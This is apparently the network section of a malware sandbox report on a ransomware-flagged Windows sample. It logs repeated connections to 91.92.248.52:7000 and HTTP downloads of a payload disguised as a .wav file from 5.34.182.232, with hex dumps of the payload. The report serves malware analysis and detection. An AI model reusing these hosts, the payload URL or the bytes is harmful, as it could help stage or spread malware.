                                                          Apr 21, 2024 15:23:45.386699915 CEST497547000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:45.583481073 CEST70004975491.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:46.089822054 CEST497547000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:46.286767960 CEST70004975491.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:46.792944908 CEST497547000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:46.989844084 CEST70004975491.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:47.106086016 CEST497557000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:47.300242901 CEST70004975591.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:47.808612108 CEST497557000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:48.002923012 CEST70004975591.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:48.511703014 CEST497557000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:48.706058979 CEST70004975591.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:49.214940071 CEST497557000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:49.409368992 CEST70004975591.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:49.918098927 CEST497557000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:50.112284899 CEST70004975591.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:50.215785027 CEST497567000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:50.412312031 CEST70004975691.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:50.917962074 CEST497567000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:51.114787102 CEST70004975691.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:51.621061087 CEST497567000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:51.818001032 CEST70004975691.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:52.324193001 CEST497567000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:52.520874023 CEST70004975691.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:53.027338028 CEST497567000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:53.223973989 CEST70004975691.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:57.497016907 CEST497577000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:57.691328049 CEST70004975791.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:58.199316025 CEST497577000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:58.393481970 CEST70004975791.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:58.902347088 CEST497577000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:59.096303940 CEST70004975791.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:23:59.605448961 CEST497577000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:23:59.799715042 CEST70004975791.92.248.52192.168.2.4
                                                          Apr 21, 2024 15:24:00.308605909 CEST497577000192.168.2.491.92.248.52
                                                          Apr 21, 2024 15:24:00.502645016 CEST70004975791.92.248.52192.168.2.4

                                                          HTTP Request Dependency Graph

                                                          • 5.34.182.232

                                                          HTTP Packets

                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          0192.168.2.4497335.34.182.232806664C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                                                          TimestampBytes transferredDirectionData
                                                          Apr 21, 2024 15:21:51.821142912 CEST80OUTGET /sm/Pxgimjrvqqb.wav HTTP/1.1
                                                          Host: 5.34.182.232
                                                          Connection: Keep-Alive
                                                          Apr 21, 2024 15:21:52.064260960 CEST1289INHTTP/1.1 200 OK
                                                          Date: Sun, 21 Apr 2024 13:21:51 GMT
                                                          Server: Apache/2.4.6 (CentOS)
                                                          Last-Modified: Thu, 18 Apr 2024 21:59:41 GMT
                                                          ETag: "21ee08-61666168bcd40"
                                                          Accept-Ranges: bytes
                                                          Content-Length: 2223624
                                                          Keep-Alive: timeout=5, max=100
                                                          Connection: Keep-Alive
                                                          Content-Type: audio/x-wav
                                                          Data Raw: 9e de 59 3f 24 21 1c 14 90 c6 13 f8 4f c7 af 6f e2 96 fc d4 25 b9 29 22 9f a0 db d8 a6 78 6e 8a fc 90 29 02 ba 59 ab 6a f3 c0 8c 1e 55 0e 2d 4b 1f 18 36 b6 1b 0b da 30 7c 7a 24 dc 8a f7 5b 19 5c b2 a4 7a a2 9a 63 4b 30 8a 36 e0 71 17 05 65 6e 95 48 1e be 97 82 80 76 1f 52 11 fb 74 70 5d 38 05 c2 fb ce 98 60 b7 9c d9 46 49 20 68 c4 0f 8f 9c b7 c1 4e 2b a9 ac cb 23 01 f8 ea 23 ef b1 31 dc fd 7d c4 24 10 44 20 d4 0f 37 21 d9 35 4e ce 58 cf 1c 56 b0 9e a5 f0 fc 43 89 90 af 38 77 7e 10 a6 35 c7 bf b6 fa ff a2 0d 98 0c 48 0e 1e 6d 52 d1 e9 1c c1 56 34 af 9c a7 6e 0d 8e 31 21 d5 f3 e8 4a 16 54 9f 6a b0 55 b9 8a d9 14 f4 c3 e2 d3 e2 98 39 fd 20 a4 f9 d6 bc 9a e1 68 e8 50 1a 18 1c fb e8 48 18 95 e5 b0 1c 2c 62 06 28 9c 2f 65 ba 90 b5 5c 86 09 94 a5 e3 7a c7 69 bb e0 77 4b 91 de 7f b2 19 39 4c ac 98 6c 1e c6 9c 7a 49 4e 3d f7 4c 2f 02 af cc 8d 72 09 e7 0d dd bc 6d 45 fc b3 a3 82 b0 15 46 4a 1f 44 22 39 51 01 2e 3c 3c 7d 0f a2 68 9e 39 4d b3 e6 32 49 6f a9 c9 a6 4b e8 c6 83 b2 bd e7 c0 df 1c f9 b5 be b6 09 66 68 d3 95 67 63 3c 61 f1 f6 6f 54 32 dc cf f6 4a fb 35 45 c6 4d 45 bd b3 fe d8 d5 73 c9 6a a7 f7 00 f3 10 db e1 87 31 d5 4c 63 17 e6 cb 67 a7 07 cf cc c4 94 cf 31 b3 4e 0a 6d 4d fa 6f b7 4c f6 91 c8 ff 69 31 90 42 9c 8a 8c c3 7b 59 2d 94 d8 22 13 c4 98 ad 8e 87 8d ae df 66 1e 80 35 ad 0e 8c 39 77 d9 65 0a 44 e1 29 3b dc e4 3d c1 34 ab 36 0b c9 1a ad a0 4b ae d6 1f 6a 85 e0 4d 63 b9 99 b7 ba b9 7a 60 47 f8 89 c4 0e 85 f3 b3 b3 f1 d0 cf e5 1e f6 3d f6 12 9f 60 b1 69 97 db 2c 50 ca 59 73 96 aa 5b d6 1d ab dd ad 0f ca ca 2c 0b 58 fa a4 aa 53 6b 42 fe e4 d5 48 05 a7 c5 f1 f0 37 c3 1b a5 34 4f ee 09 d5 7b f1 0b ff 66 43 8b 7a 2d e4 eb d9 1d 7c d5 2c 0f aa bb 06 65 3c 62 bd f5 2f 5e 87 f6 0c d0 91 31 63 46 88 c0 e6 d9 d7 54 4a ee 96 66 53 0f 45 28 d3 87 2f 28 31 c1 87 c5 fb 76 a0 56 83 97 96 51 f9 de 45 d5 ff d2 3e 30 ab 65 0f 96 68 73 f4 2f df ea cb 59 0b 4d e7 5b 26 4d 51 87 1e 5f 58 c9 55 ff 45 6b fa 0b 93 94 e8 29 3e d2 ca b5 d2 1a 46 f3 f2 c3 2d bc b9 22 07 e4 7e 86 9e 1d e6 4d 95 f8 2e 6c 7b 85 aa 77 b9 91 6a 27 2f 4b ff a5 ed d4 48 fe 79 f5 2c 69 48 d2 df 41 b7 ba 47 e7 50 75 50 8c f9 fe 4a ea a9 70 d4 05 ad d6 a9 90 1e 5a a1 c0 40 15 d9 7b b1 dd 4e 59 3b 6f 17 91 be bf 9e 53 63 78 c0 44 1b c6 86 4b 9a ee 5a ed d5 b3 54 d1 58 8c 72 58 6c 66 7a a9 d4 e4 ee eb 68 e0 66 3f 18 52 ea 2c b3 af 73 05 1c ed ee 2b 2e c6 63 52 a6 2b e2 48 bd b4 25 99 e4 34 a7 46 d0 37 2b ec ef a1 ff 2f 74 15 88 18 70 af 20 e2 33 15 3a fe 4e 0b ac c8 43 58 0c ad 14 ef 18 c9 63 fa 04 83 18 7c 9d b2 8e 93 29 5e fc 26 eb 9e 43 3b 75 df cb 06 60 70 27 3a cf 41 d4 52 f6 f5 50 46 1b 16 6e b2 19 22 62 a8 32 40 04 6a bf a3 68 da bd 77 27 13 00 88 dc e3 7d 35 a6 5e 38 db 2b 14 a9 39 99 c6 60 72 ff 37 96 0d 79 07 72 d5 68 b9 a3 fc 23 0e e6 82 72 0a 60 3a 13 cf 4f c4 e7 4c 2f 16 90 84 84 e1 8a c7 b7 91 92 ae 6d de 3e 61 be 69 5c 8c 5e d9 42 a1 95 ae c0 6a 76 db aa 0b 46 d2 3e f7 ea e5 1a a8 9f 33 21 58 02 ec 23 2f 0c 1c c6 7a 1c 62 76 6a 2f 7c cc 72 63 c5 84 87 4f 48 66 32 6b 48
                                                          Data Ascii: Y?$!Oo%)"xn)YjU-K60|z$[\zcK06qenHvRtp]8`FI hN+##1}$D 7!5NXVC8w~5HmRV4n1!JTjU9 hPH,b(/e\ziwK9LlzIN=L/rmEFJD"9Q.<<}h9M2IoKfhgc<aoT2J5EMEsj1Lcg1NmMoLi1B{Y-"f59weD);=46KjMcz`G=`i,PYs[,XSkBH74O{fCz-|,e<b/^1cFTJfSE(/(1vVQE>0ehs/YM[&MQ_XUEk)>F-"~M.l{wj'/KHy,iHAGPuPJpZ@{NY;oScxDKZTXrXlfzhf?R,s+.cR+H%4F7+/tp 3:NCXc|)^&C;u`p':ARPFn"b2@jhw'}5^8+9`r7yrh#r`:OL/m>ai\^BjvF>3!X#/zbvj/|rcOHf2kH
                                                          Apr 21, 2024 15:21:52.064301968 CEST1289INData Raw: 6f c4 bf 77 76 b9 e6 ed e2 53 43 b9 08 a6 69 16 61 18 f1 a6 c0 bd bf 91 ae ec fa 21 f2 dd bb ff 03 d1 74 30 3e 2f d4 d9 04 5f 2b b1 f6 de 78 9c f0 48 88 41 b7 54 de ab 25 7c a9 da ad fd a9 d0 07 d3 3b b2 a3 c4 b5 ba 62 81 c8 ec 2d 0b cf 85 03 8a
                                                          Data Ascii: owvSCia!t0>/_+xHAT%|;b-r(w8gk8*+TIDxIn.kf8vvDw{d,^w\{-l5{JTz^V0S.cp_dT_2+%PFrH<)N[
                                                          Apr 21, 2024 15:21:52.064340115 CEST1289INData Raw: 71 14 d2 ce 96 b1 f1 1b 43 35 c9 34 a8 dc 7c 00 dc 3d 87 0d 2e 5a 5b cf 6b d4 4a cc 29 63 e8 95 94 0c 12 ab 3a fd 83 38 3b db 2f 24 ab dd 70 61 c0 64 a7 39 91 d4 87 29 54 d6 79 2b 16 46 c0 70 7e fe d4 8b c1 7c 83 09 d9 61 19 48 74 9f ab 7a 06 f9
                                                          Data Ascii: qC54|=.Z[kJ)c:8;/$pad9)Ty+Fp~|aHtz,}x5@k[3x6B\RU_).Bk;o7|RjGZ1t"}n}!!|L^'hl)4@U-GT5ns sq{v5/oIUZxi/[
                                                          Apr 21, 2024 15:21:52.064377069 CEST1289INData Raw: 43 a8 e9 c7 fe 67 64 fb 0d 9d 7d 33 21 14 07 66 2d 42 b1 86 96 1e 01 e1 72 da bb 04 12 b0 db 7c 35 d3 59 5a c6 fa b7 ac 13 5e bd da 7f db 2a 1e 51 26 bb 70 28 a8 08 97 d3 3f 62 a7 42 11 b7 14 f5 ac 7d 69 5c 6e 7f c4 66 07 d9 b8 77 53 a2 f1 f5 3f
                                                          Data Ascii: Cgd}3!f-Br|5YZ^*Q&p(?bB}i\nfwS?/A9R~^B-?sD4LP($u%#;!3sGKT9Sgk#oP1TJlgMk>fJ6D>6Ig%<zc8DVSF=(zN2KQ"fUe`FX
                                                          Apr 21, 2024 15:21:52.064433098 CEST1289INData Raw: 8e e2 21 ac 1e b8 df f7 e5 f9 d3 fa df 2e 6a 24 91 78 9a 20 e9 b7 8e c0 ac 2d ac be 97 c7 25 ba de af 59 b8 4e b7 68 4e 11 89 6c b1 c5 33 66 cf 48 f8 7e aa 18 bb bd 5f 43 53 a7 b9 8b 78 ab 52 3f 2f b2 1a a6 3d 8d 0a fe 2e 58 19 d2 c8 ac 87 f4 7f
                                                          Data Ascii: !.j$x -%YNhNl3fH~_CSxR?/=.Xq]4R?v9ConNr-}M@6Rci8)Fkz7M|rZ cZ7}EswZ_J&6_X{ND7zbeQ%u"-%_OFLMQV
                                                          Apr 21, 2024 15:21:52.064470053 CEST1289INData Raw: b6 95 45 11 76 7d b4 29 14 16 5d 4b 92 d2 e3 5e 99 5e 39 72 51 0c 35 84 1d 6a 02 50 d3 97 bd e9 4f 9e 39 5d ad 4f ad f6 c6 53 bc e6 80 09 3b 0a db 98 52 f0 8e 71 02 8e 45 48 8a 5d d9 57 f6 fd 42 b6 6f 89 e1 2c 70 53 81 fc 34 14 d7 99 1d a3 c7 20
                                                          Data Ascii: Ev})]K^^9rQ5jPO9]OS;RqEH]WBo,pS4 '$JpA:#-+E= c'-M6O:~hkcCl?$:!A0iLqZB0k%Heu;l~Y/upK-/8
                                                          Apr 21, 2024 15:21:52.064506054 CEST1289INData Raw: 39 ca ba c9 dd 85 03 81 f3 a6 37 c0 bd 6c 74 ca e5 5d 64 dc 70 2d 08 89 7e 45 5c 79 3a a1 26 ed 75 e8 29 45 ad e3 2a 18 62 9b 3f e3 25 00 84 20 ca 2c 89 b0 ec 09 7a 55 cf 6e ba 86 73 db 1a e4 be 74 b6 98 6a 80 fc 35 0e 07 99 e7 2e 7c e0 b7 e0 b2
                                                          Data Ascii: 97lt]dp-~E\y:&u)E*b?% ,zUnstj5.|NL q/_@dmD}#]N `|BJ#'"'"guQ`%e']#'OtjJl-[GD.GU}@^P
                                                          Apr 21, 2024 15:21:52.064543962 CEST1289INData Raw: 2c b4 3a 6a 3c 57 2d 7a b7 94 fd c2 2b 9c 53 03 ed cf ef 72 bf d8 49 99 e3 dd ef 59 f3 bc 04 8e 63 de 76 d3 5b 89 82 b3 fe 29 f6 c5 c6 6a 9c c9 53 23 10 e4 f1 4b 4e 13 09 c0 e5 52 62 44 d4 6e a0 9b 27 d9 b1 24 ac 29 b6 0b 3e cf 09 83 1f 32 90 21
                                                          Data Ascii: ,:j<W-z+SrIYcv[)jS#KNRbDn'$)>2!RDc"&difJZ|s}\5.y16FCh@_Fezv<Bz]i)J_m.UP/+%gIC,'r7
                                                          Apr 21, 2024 15:21:52.064582109 CEST1289INData Raw: a9 74 70 98 5a ab 38 e5 ee 01 f3 e1 db c6 24 0a 1f ee 5d 4d 62 7e 3d 17 4a a5 67 01 80 aa 3a ae f1 c7 35 9f 90 16 60 0c f1 3f c3 2e ca d5 2a 23 9e 40 bc 2d 49 a1 44 72 05 9b 4a bb 26 81 88 1e 6f 90 a0 5d 29 a1 5c c9 c1 91 84 00 6f f7 bf c7 e4 b7
                                                          Data Ascii: tpZ8$]Mb~=Jg:5`?.*#@-IDrJ&o])\oQ/Uup> |iyg|/[VxZ\[j{K(pIIkAZC7\vO0()L4fsI@*'sr[ N1?otf ypL^}Vuj
                                                          Apr 21, 2024 15:21:52.064620972 CEST1289INData Raw: 60 5f 0c bf 4d fe 03 91 11 1f 04 3b 87 30 20 94 1d 5d f8 87 c9 fb fe 68 cc 9e 66 96 7d d3 7d b6 4f cc bd c5 7d 35 25 6e 41 1a 8a 23 fa 11 ae 46 40 e5 a7 95 3c f2 2c b6 bc dd 69 e3 3b a4 bf db a8 fb eb d8 a4 0b 18 bd d7 7e 38 dc 28 bb a5 7c 26 65
                                                          Data Ascii: `_M;0 ]hf}}O}5%nA#F@<,i;~8(|&e(q!q][;?ny C#R9GBc1c-1z~n@Q8r#%ry{-kj;K)=g4krx:wih,v%sJvW%g&Nsb=*
                                                          Apr 21, 2024 15:21:52.307833910 CEST1289INData Raw: 0f 0a a4 1a 02 f0 d5 48 fd 07 1e 12 9b 89 10 33 9f af e8 74 b8 4a d7 dc ed 1d 6c 48 62 b4 f6 ed d0 43 ec d9 8d 20 f1 a6 f3 35 59 37 b9 92 2e c6 72 5f 6e ab f3 97 c1 81 6c 1e 74 c8 bc f2 61 bd 75 3b f4 41 85 a1 52 44 9d 5d 08 cf 5f 65 0f c0 9f 4b
                                                          Data Ascii: H3tJlHbC 5Y7.r_nltau;ARD]_eKwr1pRQ>u=7orSpn2WtDC(~D:, TIe__oeC/!%nM{y4Z=j<,'*m


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          1192.168.2.4497405.34.182.232802488C:\Users\user\AppData\Roaming\daqfbrlrs.exe
                                                          TimestampBytes transferredDirectionData
                                                          Apr 21, 2024 15:22:37.020661116 CEST80OUTGET /sm/Pxgimjrvqqb.wav HTTP/1.1
                                                          Host: 5.34.182.232
                                                          Connection: Keep-Alive
                                                          Apr 21, 2024 15:22:37.258549929 CEST1289INHTTP/1.1 200 OK
                                                          Date: Sun, 21 Apr 2024 13:22:37 GMT
                                                          Server: Apache/2.4.6 (CentOS)
                                                          Last-Modified: Thu, 18 Apr 2024 21:59:41 GMT
                                                          ETag: "21ee08-61666168bcd40"
                                                          Accept-Ranges: bytes
                                                          Content-Length: 2223624
                                                          Keep-Alive: timeout=5, max=100
                                                          Connection: Keep-Alive
                                                          Content-Type: audio/x-wav
                                                          Data Raw: 9e de 59 3f 24 21 1c 14 90 c6 13 f8 4f c7 af 6f e2 96 fc d4 25 b9 29 22 9f a0 db d8 a6 78 6e 8a fc 90 29 02 ba 59 ab 6a f3 c0 8c 1e 55 0e 2d 4b 1f 18 36 b6 1b 0b da 30 7c 7a 24 dc 8a f7 5b 19 5c b2 a4 7a a2 9a 63 4b 30 8a 36 e0 71 17 05 65 6e 95 48 1e be 97 82 80 76 1f 52 11 fb 74 70 5d 38 05 c2 fb ce 98 60 b7 9c d9 46 49 20 68 c4 0f 8f 9c b7 c1 4e 2b a9 ac cb 23 01 f8 ea 23 ef b1 31 dc fd 7d c4 24 10 44 20 d4 0f 37 21 d9 35 4e ce 58 cf 1c 56 b0 9e a5 f0 fc 43 89 90 af 38 77 7e 10 a6 35 c7 bf b6 fa ff a2 0d 98 0c 48 0e 1e 6d 52 d1 e9 1c c1 56 34 af 9c a7 6e 0d 8e 31 21 d5 f3 e8 4a 16 54 9f 6a b0 55 b9 8a d9 14 f4 c3 e2 d3 e2 98 39 fd 20 a4 f9 d6 bc 9a e1 68 e8 50 1a 18 1c fb e8 48 18 95 e5 b0 1c 2c 62 06 28 9c 2f 65 ba 90 b5 5c 86 09 94 a5 e3 7a c7 69 bb e0 77 4b 91 de 7f b2 19 39 4c ac 98 6c 1e c6 9c 7a 49 4e 3d f7 4c 2f 02 af cc 8d 72 09 e7 0d dd bc 6d 45 fc b3 a3 82 b0 15 46 4a 1f 44 22 39 51 01 2e 3c 3c 7d 0f a2 68 9e 39 4d b3 e6 32 49 6f a9 c9 a6 4b e8 c6 83 b2 bd e7 c0 df 1c f9 b5 be b6 09 66 68 d3 95 67 63 3c 61 f1 f6 6f 54 32 dc cf f6 4a fb 35 45 c6 4d 45 bd b3 fe d8 d5 73 c9 6a a7 f7 00 f3 10 db e1 87 31 d5 4c 63 17 e6 cb 67 a7 07 cf cc c4 94 cf 31 b3 4e 0a 6d 4d fa 6f b7 4c f6 91 c8 ff 69 31 90 42 9c 8a 8c c3 7b 59 2d 94 d8 22 13 c4 98 ad 8e 87 8d ae df 66 1e 80 35 ad 0e 8c 39 77 d9 65 0a 44 e1 29 3b dc e4 3d c1 34 ab 36 0b c9 1a ad a0 4b ae d6 1f 6a 85 e0 4d 63 b9 99 b7 ba b9 7a 60 47 f8 89 c4 0e 85 f3 b3 b3 f1 d0 cf e5 1e f6 3d f6 12 9f 60 b1 69 97 db 2c 50 ca 59 73 96 aa 5b d6 1d ab dd ad 0f ca ca 2c 0b 58 fa a4 aa 53 6b 42 fe e4 d5 48 05 a7 c5 f1 f0 37 c3 1b a5 34 4f ee 09 d5 7b f1 0b ff 66 43 8b 7a 2d e4 eb d9 1d 7c d5 2c 0f aa bb 06 65 3c 62 bd f5 2f 5e 87 f6 0c d0 91 31 63 46 88 c0 e6 d9 d7 54 4a ee 96 66 53 0f 45 28 d3 87 2f 28 31 c1 87 c5 fb 76 a0 56 83 97 96 51 f9 de 45 d5 ff d2 3e 30 ab 65 0f 96 68 73 f4 2f df ea cb 59 0b 4d e7 5b 26 4d 51 87 1e 5f 58 c9 55 ff 45 6b fa 0b 93 94 e8 29 3e d2 ca b5 d2 1a 46 f3 f2 c3 2d bc b9 22 07 e4 7e 86 9e 1d e6 4d 95 f8 2e 6c 7b 85 aa 77 b9 91 6a 27 2f 4b ff a5 ed d4 48 fe 79 f5 2c 69 48 d2 df 41 b7 ba 47 e7 50 75 50 8c f9 fe 4a ea a9 70 d4 05 ad d6 a9 90 1e 5a a1 c0 40 15 d9 7b b1 dd 4e 59 3b 6f 17 91 be bf 9e 53 63 78 c0 44 1b c6 86 4b 9a ee 5a ed d5 b3 54 d1 58 8c 72 58 6c 66 7a a9 d4 e4 ee eb 68 e0 66 3f 18 52 ea 2c b3 af 73 05 1c ed ee 2b 2e c6 63 52 a6 2b e2 48 bd b4 25 99 e4 34 a7 46 d0 37 2b ec ef a1 ff 2f 74 15 88 18 70 af 20 e2 33 15 3a fe 4e 0b ac c8 43 58 0c ad 14 ef 18 c9 63 fa 04 83 18 7c 9d b2 8e 93 29 5e fc 26 eb 9e 43 3b 75 df cb 06 60 70 27 3a cf 41 d4 52 f6 f5 50 46 1b 16 6e b2 19 22 62 a8 32 40 04 6a bf a3 68 da bd 77 27 13 00 88 dc e3 7d 35 a6 5e 38 db 2b 14 a9 39 99 c6 60 72 ff 37 96 0d 79 07 72 d5 68 b9 a3 fc 23 0e e6 82 72 0a 60 3a 13 cf 4f c4 e7 4c 2f 16 90 84 84 e1 8a c7 b7 91 92 ae 6d de 3e 61 be 69 5c 8c 5e d9 42 a1 95 ae c0 6a 76 db aa 0b 46 d2 3e f7 ea e5 1a a8 9f 33 21 58 02 ec 23 2f 0c 1c c6 7a 1c 62 76 6a 2f 7c cc 72 63 c5 84 87 4f 48 66 32 6b 48
                                                          Data Ascii: Y?$!Oo%)"xn)YjU-K60|z$[\zcK06qenHvRtp]8`FI hN+##1}$D 7!5NXVC8w~5HmRV4n1!JTjU9 hPH,b(/e\ziwK9LlzIN=L/rmEFJD"9Q.<<}h9M2IoKfhgc<aoT2J5EMEsj1Lcg1NmMoLi1B{Y-"f59weD);=46KjMcz`G=`i,PYs[,XSkBH74O{fCz-|,e<b/^1cFTJfSE(/(1vVQE>0ehs/YM[&MQ_XUEk)>F-"~M.l{wj'/KHy,iHAGPuPJpZ@{NY;oScxDKZTXrXlfzhf?R,s+.cR+H%4F7+/tp 3:NCXc|)^&C;u`p':ARPFn"b2@jhw'}5^8+9`r7yrh#r`:OL/m>ai\^BjvF>3!X#/zbvj/|rcOHf2kH
                                                          Apr 21, 2024 15:22:37.258613110 CEST1289INData Raw: 6f c4 bf 77 76 b9 e6 ed e2 53 43 b9 08 a6 69 16 61 18 f1 a6 c0 bd bf 91 ae ec fa 21 f2 dd bb ff 03 d1 74 30 3e 2f d4 d9 04 5f 2b b1 f6 de 78 9c f0 48 88 41 b7 54 de ab 25 7c a9 da ad fd a9 d0 07 d3 3b b2 a3 c4 b5 ba 62 81 c8 ec 2d 0b cf 85 03 8a
                                                          Data Ascii: owvSCia!t0>/_+xHAT%|;b-r(w8gk8*+TIDxIn.kf8vvDw{d,^w\{-l5{JTz^V0S.cp_dT_2+%PFrH<)N[
                                                          Apr 21, 2024 15:22:37.258651972 CEST1289INData Raw: 71 14 d2 ce 96 b1 f1 1b 43 35 c9 34 a8 dc 7c 00 dc 3d 87 0d 2e 5a 5b cf 6b d4 4a cc 29 63 e8 95 94 0c 12 ab 3a fd 83 38 3b db 2f 24 ab dd 70 61 c0 64 a7 39 91 d4 87 29 54 d6 79 2b 16 46 c0 70 7e fe d4 8b c1 7c 83 09 d9 61 19 48 74 9f ab 7a 06 f9
                                                          Data Ascii: qC54|=.Z[kJ)c:8;/$pad9)Ty+Fp~|aHtz,}x5@k[3x6B\RU_).Bk;o7|RjGZ1t"}n}!!|L^'hl)4@U-GT5ns sq{v5/oIUZxi/[
                                                          Apr 21, 2024 15:22:37.258692980 CEST1289INData Raw: 43 a8 e9 c7 fe 67 64 fb 0d 9d 7d 33 21 14 07 66 2d 42 b1 86 96 1e 01 e1 72 da bb 04 12 b0 db 7c 35 d3 59 5a c6 fa b7 ac 13 5e bd da 7f db 2a 1e 51 26 bb 70 28 a8 08 97 d3 3f 62 a7 42 11 b7 14 f5 ac 7d 69 5c 6e 7f c4 66 07 d9 b8 77 53 a2 f1 f5 3f
                                                          Data Ascii: Cgd}3!f-Br|5YZ^*Q&p(?bB}i\nfwS?/A9R~^B-?sD4LP($u%#;!3sGKT9Sgk#oP1TJlgMk>fJ6D>6Ig%<zc8DVSF=(zN2KQ"fUe`FX
                                                          Apr 21, 2024 15:22:37.258735895 CEST1289INData Raw: 8e e2 21 ac 1e b8 df f7 e5 f9 d3 fa df 2e 6a 24 91 78 9a 20 e9 b7 8e c0 ac 2d ac be 97 c7 25 ba de af 59 b8 4e b7 68 4e 11 89 6c b1 c5 33 66 cf 48 f8 7e aa 18 bb bd 5f 43 53 a7 b9 8b 78 ab 52 3f 2f b2 1a a6 3d 8d 0a fe 2e 58 19 d2 c8 ac 87 f4 7f
                                                          Data Ascii: !.j$x -%YNhNl3fH~_CSxR?/=.Xq]4R?v9ConNr-}M@6Rci8)Fkz7M|rZ cZ7}EswZ_J&6_X{ND7zbeQ%u"-%_OFLMQV
                                                          Apr 21, 2024 15:22:37.258775949 CEST1289INData Raw: b6 95 45 11 76 7d b4 29 14 16 5d 4b 92 d2 e3 5e 99 5e 39 72 51 0c 35 84 1d 6a 02 50 d3 97 bd e9 4f 9e 39 5d ad 4f ad f6 c6 53 bc e6 80 09 3b 0a db 98 52 f0 8e 71 02 8e 45 48 8a 5d d9 57 f6 fd 42 b6 6f 89 e1 2c 70 53 81 fc 34 14 d7 99 1d a3 c7 20
                                                          Data Ascii: Ev})]K^^9rQ5jPO9]OS;RqEH]WBo,pS4 '$JpA:#-+E= c'-M6O:~hkcCl?$:!A0iLqZB0k%Heu;l~Y/upK-/8
                                                          Apr 21, 2024 15:22:37.258848906 CEST1289INData Raw: 39 ca ba c9 dd 85 03 81 f3 a6 37 c0 bd 6c 74 ca e5 5d 64 dc 70 2d 08 89 7e 45 5c 79 3a a1 26 ed 75 e8 29 45 ad e3 2a 18 62 9b 3f e3 25 00 84 20 ca 2c 89 b0 ec 09 7a 55 cf 6e ba 86 73 db 1a e4 be 74 b6 98 6a 80 fc 35 0e 07 99 e7 2e 7c e0 b7 e0 b2
                                                          Data Ascii: 97lt]dp-~E\y:&u)E*b?% ,zUnstj5.|NL q/_@dmD}#]N `|BJ#'"'"guQ`%e']#'OtjJl-[GD.GU}@^P
                                                          Apr 21, 2024 15:22:37.258893967 CEST1289INData Raw: 2c b4 3a 6a 3c 57 2d 7a b7 94 fd c2 2b 9c 53 03 ed cf ef 72 bf d8 49 99 e3 dd ef 59 f3 bc 04 8e 63 de 76 d3 5b 89 82 b3 fe 29 f6 c5 c6 6a 9c c9 53 23 10 e4 f1 4b 4e 13 09 c0 e5 52 62 44 d4 6e a0 9b 27 d9 b1 24 ac 29 b6 0b 3e cf 09 83 1f 32 90 21
                                                          Data Ascii: ,:j<W-z+SrIYcv[)jS#KNRbDn'$)>2!RDc"&difJZ|s}\5.y16FCh@_Fezv<Bz]i)J_m.UP/+%gIC,'r7
                                                          Apr 21, 2024 15:22:37.258930922 CEST1289INData Raw: a9 74 70 98 5a ab 38 e5 ee 01 f3 e1 db c6 24 0a 1f ee 5d 4d 62 7e 3d 17 4a a5 67 01 80 aa 3a ae f1 c7 35 9f 90 16 60 0c f1 3f c3 2e ca d5 2a 23 9e 40 bc 2d 49 a1 44 72 05 9b 4a bb 26 81 88 1e 6f 90 a0 5d 29 a1 5c c9 c1 91 84 00 6f f7 bf c7 e4 b7
                                                          Data Ascii: tpZ8$]Mb~=Jg:5`?.*#@-IDrJ&o])\oQ/Uup> |iyg|/[VxZ\[j{K(pIIkAZC7\vO0()L4fsI@*'sr[ N1?otf ypL^}Vuj
                                                          Apr 21, 2024 15:22:37.258972883 CEST1289INData Raw: 60 5f 0c bf 4d fe 03 91 11 1f 04 3b 87 30 20 94 1d 5d f8 87 c9 fb fe 68 cc 9e 66 96 7d d3 7d b6 4f cc bd c5 7d 35 25 6e 41 1a 8a 23 fa 11 ae 46 40 e5 a7 95 3c f2 2c b6 bc dd 69 e3 3b a4 bf db a8 fb eb d8 a4 0b 18 bd d7 7e 38 dc 28 bb a5 7c 26 65
                                                          Data Ascii: `_M;0 ]hf}}O}5%nA#F@<,i;~8(|&e(q!q][;?ny C#R9GBc1c-1z~n@Q8r#%ry{-kj;K)=g4krx:wih,v%sJvW%g&Nsb=*
                                                          Apr 21, 2024 15:22:37.496316910 CEST1289INData Raw: 0f 0a a4 1a 02 f0 d5 48 fd 07 1e 12 9b 89 10 33 9f af e8 74 b8 4a d7 dc ed 1d 6c 48 62 b4 f6 ed d0 43 ec d9 8d 20 f1 a6 f3 35 59 37 b9 92 2e c6 72 5f 6e ab f3 97 c1 81 6c 1e 74 c8 bc f2 61 bd 75 3b f4 41 85 a1 52 44 9d 5d 08 cf 5f 65 0f c0 9f 4b
